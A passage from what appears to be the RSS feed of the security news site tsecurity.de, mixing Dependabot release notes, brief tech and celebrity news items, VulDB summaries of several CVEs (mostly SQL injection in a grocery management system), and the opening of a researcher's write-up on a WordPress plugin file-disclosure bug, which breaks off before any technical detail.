<li>Type the options passthrough in base classes with T.anything by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780986333" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15459" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15459/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15459">#15459</a></li>
<li>Apply git-tag cooldown across ecosystems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4717708913" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15369" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15369/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15369">#15369</a></li>
<li>Type requirement helpers in the update-checker base class by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4782418992" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15461" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15461/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15461">#15461</a></li>
<li>Select group update handler for multi-ecosystem NuGet jobs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4781176807" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15460" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15460/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15460">#15460</a></li>
<li>Type error-detail payloads across common and the updater by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4782502056" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15462" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15462/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15462">#15462</a></li>
<li>Type package release details with T.anything by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4782630091" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15463" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15463/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15463">#15463</a></li>
<li>Type message builder commit options and vulnerabilities-fixed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4782757371" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15465" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15465/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15465">#15465</a></li>
<li>Fix multiple --default-index args when multiple replaces-base credentials exist by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793511964" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15481" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15481/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15481">#15481</a></li>
<li>Fetch <code>gradle.properties</code> and making available lock file generation with in dependabot by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784572088" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15467" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15467/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15467">#15467</a></li>
<li>Detect cargo registries across hierarchical .cargo/config.toml files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787748929" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15474" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15474/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15474">#15474</a></li>
<li>fix(bundler): only re-vendor platform gems for updated dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jurre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jurre">@jurre</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4775961359" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15451" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15451/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15451">#15451</a></li>
<li>Fix Sorbet runtime signature violations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789853302" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15476" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15476/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15476">#15476</a></li>
<li>Use shared git-tag cooldown in python by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4786661051" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15470" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15470/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15470">#15470</a></li>
<li>Fix multiline HTML version parsing for Python/UV private registries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785195003" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15469" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15469/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15469">#15469</a></li>
<li>v0.385.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4815391266" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15502" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15502/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15502">#15502</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cjewett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cjewett">@Cjewett</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4578908271" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15211" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15211/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15211">#15211</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.384.0...v0.385.0"><tt>v0.384.0...v0.385.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Taylor Swift und Travis Kelce: Wie Nutzer mit Fake-Hochzeitsbildern von Taylor Swift viral gehen]]></title>
<description><![CDATA[Bislang gibt es keine Hochzeitsfotos von Taylor Swift und Travis Kelce. Trotzdem erhalten KI-Bilder des Paars im Netz Millionen Likes. Ist den Fans egal, dass sie eine Illusion sehen?]]></description>
<link>https://tsecurity.de/de/3649514/it-nachrichten/taylor-swift-und-travis-kelce-wie-nutzer-mit-fake-hochzeitsbildern-von-taylor-swift-viral-gehen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649514/it-nachrichten/taylor-swift-und-travis-kelce-wie-nutzer-mit-fake-hochzeitsbildern-von-taylor-swift-viral-gehen/</guid>
<pubDate>Mon, 06 Jul 2026 19:48:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bislang gibt es keine Hochzeitsfotos von Taylor Swift und Travis Kelce. Trotzdem erhalten KI-Bilder des Paars im Netz Millionen Likes. Ist den Fans egal, dass sie eine Illusion sehen?]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2021-40639 | Jfinal CMS 5.1.0 db.properties&config=filemanager.config.js access control]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Jfinal CMS 5.1.0. This affects an unknown function of the file /classes/conf/db.properties&config=filemanager.config.js. The manipulation results in improper access controls.

This vulnerability is cataloged as CVE-2021-40639. The attack must or...]]></description>
<link>https://tsecurity.de/de/3646799/sicherheitsluecken/cve-2021-40639-jfinal-cms-510-dbpropertiesconfigfilemanagerconfigjs-access-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646799/sicherheitsluecken/cve-2021-40639-jfinal-cms-510-dbpropertiesconfigfilemanagerconfigjs-access-control/</guid>
<pubDate>Sun, 05 Jul 2026 15:53:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/jfinal:cms">Jfinal CMS 5.1.0</a>. This affects an unknown function of the file <em>/classes/conf/db.properties&amp;config=filemanager.config.js</em>. The manipulation results in improper access controls.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2021-40639">CVE-2021-40639</a>. The attack must originate from the local network. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2020-19511 | Typesetter 5.1 index.php/Admin/Classes cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in Typesetter 5.1. It has been classified as problematic. Affected by this vulnerability is an unknown functionality of the file index.php/Admin/Classes. The manipulation leads to cross site scripting.

This vulnerability is uniquely identified as CVE-2020-19511. The att...]]></description>
<link>https://tsecurity.de/de/3646698/sicherheitsluecken/cve-2020-19511-typesetter-51-indexphpadminclasses-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646698/sicherheitsluecken/cve-2020-19511-typesetter-51-indexphpadminclasses-cross-site-scripting/</guid>
<pubDate>Sun, 05 Jul 2026 14:22:06 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/typesetter">Typesetter 5.1</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected by this vulnerability is an unknown functionality of the file <em>index.php/Admin/Classes</em>. The manipulation leads to cross site scripting.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2020-19511">CVE-2020-19511</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Taylor Swift’s Wedding Became a Marketing Moment for Brands Big and Small]]></title>
<description><![CDATA[Some businesses flocked to social media using A.I.-generated content, while others deployed timely digital ads designed to capitalize on the frenzy surrounding this major celebrity event.]]></description>
<link>https://tsecurity.de/de/3646509/ai-nachrichten/taylor-swifts-wedding-became-a-marketing-moment-for-brands-big-and-small/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646509/ai-nachrichten/taylor-swifts-wedding-became-a-marketing-moment-for-brands-big-and-small/</guid>
<pubDate>Sun, 05 Jul 2026 11:33:21 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some businesses flocked to social media using A.I.-generated content, while others deployed timely digital ads designed to capitalize on the frenzy surrounding this major celebrity event.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14694 | SourceCodester Multi-Vendor Online Grocery Management System 1.0 POST Parameter classes/Master.php cancel_order ID sql injection (EUVD-2026-41717)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in SourceCodester Multi-Vendor Online Grocery Management System 1.0. Affected by this issue is the function cancel_order of the file classes/Master.php of the component POST Parameter Handler. The manipulation of the argument ID leads to sql in...]]></description>
<link>https://tsecurity.de/de/3646328/sicherheitsluecken/cve-2026-14694-sourcecodester-multi-vendor-online-grocery-management-system-10-post-parameter-classesmasterphp-cancelorder-id-sql-injection-euvd-2026-41717/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646328/sicherheitsluecken/cve-2026-14694-sourcecodester-multi-vendor-online-grocery-management-system-10-post-parameter-classesmasterphp-cancelorder-id-sql-injection-euvd-2026-41717/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/sourcecodester:multi-vendor_online_grocery_management_system">SourceCodester Multi-Vendor Online Grocery Management System 1.0</a>. Affected by this issue is the function <code>cancel_order</code> of the file <em>classes/Master.php</em> of the component <em>POST Parameter Handler</em>. The manipulation of the argument <em>ID</em> leads to sql injection.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-14694">CVE-2026-14694</a>. It is possible to initiate the attack remotely. Furthermore, there is an exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14695 | SourceCodester Multi-Vendor Online Grocery Management System 1.0 Registration classes/Users.php save_client Name sql injection (EUVD-2026-41718)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in SourceCodester Multi-Vendor Online Grocery Management System 1.0. This affects the function save_client of the file classes/Users.php of the component Registration Handler. The manipulation of the argument Name results in sql injection....]]></description>
<link>https://tsecurity.de/de/3646327/sicherheitsluecken/cve-2026-14695-sourcecodester-multi-vendor-online-grocery-management-system-10-registration-classesusersphp-saveclient-name-sql-injection-euvd-2026-41718/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646327/sicherheitsluecken/cve-2026-14695-sourcecodester-multi-vendor-online-grocery-management-system-10-registration-classesusersphp-saveclient-name-sql-injection-euvd-2026-41718/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/sourcecodester:multi-vendor_online_grocery_management_system">SourceCodester Multi-Vendor Online Grocery Management System 1.0</a>. This affects the function <code>save_client</code> of the file <em>classes/Users.php</em> of the component <em>Registration Handler</em>. The manipulation of the argument <em>Name</em> results in sql injection.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-14695">CVE-2026-14695</a>. It is possible to launch the attack remotely. Furthermore, an exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14691 | SourceCodester Multi-Vendor Online Grocery Management System 1.0 Setting SystemSettings.php update_settings_info content[] code injection (EUVD-2026-41714)]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in SourceCodester Multi-Vendor Online Grocery Management System 1.0. This impacts the function update_settings_info of the file classes/SystemSettings.php of the component Setting Handler. Such manipulation of the argument content[] lead...]]></description>
<link>https://tsecurity.de/de/3646323/sicherheitsluecken/cve-2026-14691-sourcecodester-multi-vendor-online-grocery-management-system-10-setting-systemsettingsphp-updatesettingsinfo-content-code-injection-euvd-2026-41714/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646323/sicherheitsluecken/cve-2026-14691-sourcecodester-multi-vendor-online-grocery-management-system-10-setting-systemsettingsphp-updatesettingsinfo-content-code-injection-euvd-2026-41714/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/sourcecodester:multi-vendor_online_grocery_management_system">SourceCodester Multi-Vendor Online Grocery Management System 1.0</a>. This impacts the function <code>update_settings_info</code> of the file <em>classes/SystemSettings.php</em> of the component <em>Setting Handler</em>. Such manipulation of the argument <em>content[]</em> leads to code injection.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-14691">CVE-2026-14691</a>. The attack can be executed remotely. Additionally, an exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14692 | SourceCodester Multi-Vendor Online Grocery Management System 1.0/5.7.26 POST Parameter classes/Master.php save_shop_type sql injection (EUVD-2026-41715)]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in SourceCodester Multi-Vendor Online Grocery Management System 1.0/5.7.26. Affected is the function save_shop_type of the file classes/Master.php of the component POST Parameter Handler. Performing a manipulation results in sql injection.
...]]></description>
<link>https://tsecurity.de/de/3646322/sicherheitsluecken/cve-2026-14692-sourcecodester-multi-vendor-online-grocery-management-system-105726-post-parameter-classesmasterphp-saveshoptype-sql-injection-euvd-2026-41715/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646322/sicherheitsluecken/cve-2026-14692-sourcecodester-multi-vendor-online-grocery-management-system-105726-post-parameter-classesmasterphp-saveshoptype-sql-injection-euvd-2026-41715/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:38 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">critical</a> has been detected in <a href="https://vuldb.com/product/sourcecodester:multi-vendor_online_grocery_management_system">SourceCodester Multi-Vendor Online Grocery Management System 1.0/5.7.26</a>. Affected is the function <code>save_shop_type</code> of the file <em>classes/Master.php</em> of the component <em>POST Parameter Handler</em>. Performing a manipulation results in sql injection.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-14692">CVE-2026-14692</a>. The attack is possible to be carried out remotely. Moreover, an exploit is present.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14693 | SourceCodester Multi-Vendor Online Grocery Management System 1.0 classes/Master.php cancel_order improper authorization (EUVD-2026-41716)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in SourceCodester Multi-Vendor Online Grocery Management System 1.0. Affected by this vulnerability is the function cancel_order of the file classes/Master.php. Executing a manipulation can lead to improper authorization.

This vulnerability appe...]]></description>
<link>https://tsecurity.de/de/3646321/sicherheitsluecken/cve-2026-14693-sourcecodester-multi-vendor-online-grocery-management-system-10-classesmasterphp-cancelorder-improper-authorization-euvd-2026-41716/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646321/sicherheitsluecken/cve-2026-14693-sourcecodester-multi-vendor-online-grocery-management-system-10-classesmasterphp-cancelorder-improper-authorization-euvd-2026-41716/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:36 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/sourcecodester:multi-vendor_online_grocery_management_system">SourceCodester Multi-Vendor Online Grocery Management System 1.0</a>. Affected by this vulnerability is the function <code>cancel_order</code> of the file <em>classes/Master.php</em>. Executing a manipulation can lead to improper authorization.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-14693">CVE-2026-14693</a>. The attack may be performed from remote. In addition, an exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA launched an emergency mission to stop the Swift Observatory from crashing to Earth]]></title>
<description><![CDATA[The Swift Observatory was launched in 2004, but recent solar storms have pushed its orbit lower, and it's in danger of burning up in Earth's atmosphere as soon as this year. To try and stave off its demise, NASA has enlisted Katalyst Space Technologies. The company's Link spacecraft launched Frid...]]></description>
<link>https://tsecurity.de/de/3645780/it-nachrichten/nasa-launched-an-emergency-mission-to-stop-the-swift-observatory-from-crashing-to-earth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645780/it-nachrichten/nasa-launched-an-emergency-mission-to-stop-the-swift-observatory-from-crashing-to-earth/</guid>
<pubDate>Sat, 04 Jul 2026 21:17:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Swift Observatory was launched in 2004, but recent solar storms have pushed its orbit lower, and it's in danger of burning up in Earth's atmosphere as soon as this year. To try and stave off its demise, NASA has enlisted Katalyst Space Technologies. The company's Link spacecraft launched Friday with the goal of intercepting […]]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA mission to rescue the falling Swift observatory has launched]]></title>
<description><![CDATA[NASA has made contact with LINK, the robotic spacecraft made for the Swift Boost mission.]]></description>
<link>https://tsecurity.de/de/3645598/it-nachrichten/nasa-mission-to-rescue-the-falling-swift-observatory-has-launched/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645598/it-nachrichten/nasa-mission-to-rescue-the-falling-swift-observatory-has-launched/</guid>
<pubDate>Sat, 04 Jul 2026 18:18:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NASA has made contact with LINK, the robotic spacecraft made for the Swift Boost mission.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-13772 | IBM WebSphere Extreme Scale up to 8.6.1.6 Query Language Class.forName externally-controlled input to select classes or code]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in IBM WebSphere Extreme Scale up to 8.6.1.6. Impacted is the function Class.forName of the component Query Language Handler. Performing a manipulation results in use of externally-controlled input to select classes or code.

Th...]]></description>
<link>https://tsecurity.de/de/3645200/sicherheitsluecken/cve-2026-13772-ibm-websphere-extreme-scale-up-to-8616-query-language-classforname-externally-controlled-input-to-select-classes-or-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645200/sicherheitsluecken/cve-2026-13772-ibm-websphere-extreme-scale-up-to-8616-query-language-classforname-externally-controlled-input-to-select-classes-or-code/</guid>
<pubDate>Sat, 04 Jul 2026 12:25:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/ibm:websphere_extreme_scale">IBM WebSphere Extreme Scale up to 8.6.1.6</a>. Impacted is the function <code>Class.forName</code> of the component <em>Query Language Handler</em>. Performing a manipulation results in use of externally-controlled input to select classes or code.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-13772">CVE-2026-13772</a>. The attack is possible to be carried out remotely. No exploit exists.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux-Container unter macOS: Apple Container 1.0 auf Swift-Basis erschienen]]></title>
<description><![CDATA[Apple Container ermöglicht den Betrieb von Linux-Containern auf Macs und ist speziell für die M-Chips optimiert. Jetzt ist die Version 1.0 erschienen, die erstmals persistente Linux-Umgebungen mit tiefgreifender Host-Integration bietet.]]></description>
<link>https://tsecurity.de/de/3645176/it-nachrichten/linux-container-unter-macos-apple-container-10-auf-swift-basis-erschienen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645176/it-nachrichten/linux-container-unter-macos-apple-container-10-auf-swift-basis-erschienen/</guid>
<pubDate>Sat, 04 Jul 2026 12:18:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/6/1/2-5fd889b3cb982745/article-640x360.211dc623.jpg"><p>Apple Container ermöglicht den Betrieb von Linux-Containern auf Macs und ist speziell für die M-Chips optimiert. Jetzt ist die Version 1.0 erschienen, die erstmals persistente Linux-Umgebungen mit tiefgreifender Host-Integration bietet.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-28898 | Apple swift-nio-http2 up to 1.44.0 Header Validation escape output (GHSA-4px2-pw77-vc85)]]></title>
<description><![CDATA[A vulnerability was found in Apple swift-nio-http2 up to 1.44.0 and classified as critical. This vulnerability affects unknown code of the component Header Validation Handler. Executing a manipulation can lead to escaping of output.

The identification of this vulnerability is CVE-2026-28898. The...]]></description>
<link>https://tsecurity.de/de/3644560/sicherheitsluecken/cve-2026-28898-apple-swift-nio-http2-up-to-1440-header-validation-escape-output-ghsa-4px2-pw77-vc85/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644560/sicherheitsluecken/cve-2026-28898-apple-swift-nio-http2-up-to-1440-header-validation-escape-output-ghsa-4px2-pw77-vc85/</guid>
<pubDate>Sat, 04 Jul 2026 02:06:15 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/apple:swift-nio-http2">Apple swift-nio-http2 up to 1.44.0</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This vulnerability affects unknown code of the component <em>Header Validation Handler</em>. Executing a manipulation can lead to escaping of output.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-28898">CVE-2026-28898</a>. The attack may be launched remotely. There is no exploit available.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few…]]></title>
<description><![CDATA[I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few Weeks LateAuthor: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzadsDisclosure Notice: This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fres...]]></description>
<link>https://tsecurity.de/de/3643713/hacking/i-found-an-unauthenticated-file-disclosure-bug-in-a-wordpress-plugin-then-found-out-i-was-a-few/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643713/hacking/i-found-an-unauthenticated-file-disclosure-bug-in-a-wordpress-plugin-then-found-out-i-was-a-few/</guid>
<pubDate>Fri, 03 Jul 2026 15:37:12 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*14BNMx6SsZgrWANopYs-DQ.png"></figure><h3>I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few Weeks Late</h3><h4><strong>Author:</strong> <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br><strong>GitHub:</strong> <a href="http://github.com/alisalive">alisalive </a><br><strong>LinkedIn:</strong> <a href="http://linkedin.com/in/camalzads">camalzads</a></h4><blockquote><strong>Disclosure Notice:</strong><em> </em>This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fresh install of WordPress and the publicly available “latest-stable” release of the plugin in question, downloaded directly from the official WordPress.org plugin repository. No live, production, or third-party website was accessed, scanned, or tested at any point. All file contents shown are synthetic test data created solely for this research. This write-up is published strictly for educational purposes, after confirming the underlying issue is already publicly tracked in the National Vulnerability Database.</blockquote><h3>Background</h3><p>Most of my CVE research starts the same way: pick a plugin with a documented history of vulnerabilities, and audit its other code paths on the theory that a developer who shipped one insecure pattern is statistically likely to have shipped others. This time the target was <strong>SP Project &amp; Document Manager</strong> (slug: sp-client-document-manager), a WordPress plugin for managing client documents and project files — with a public CVE history stretching back to CVE-2014-9178 (SQL injection) and CVE-2021-24347 (arbitrary file upload).</p><p>What follows is the story of a fully independent, fully reproducible finding — and the moment, mid-writeup, I discovered someone had already reported the same root cause a few weeks earlier. I’m publishing the full technical breakdown anyway, because the methodology, the 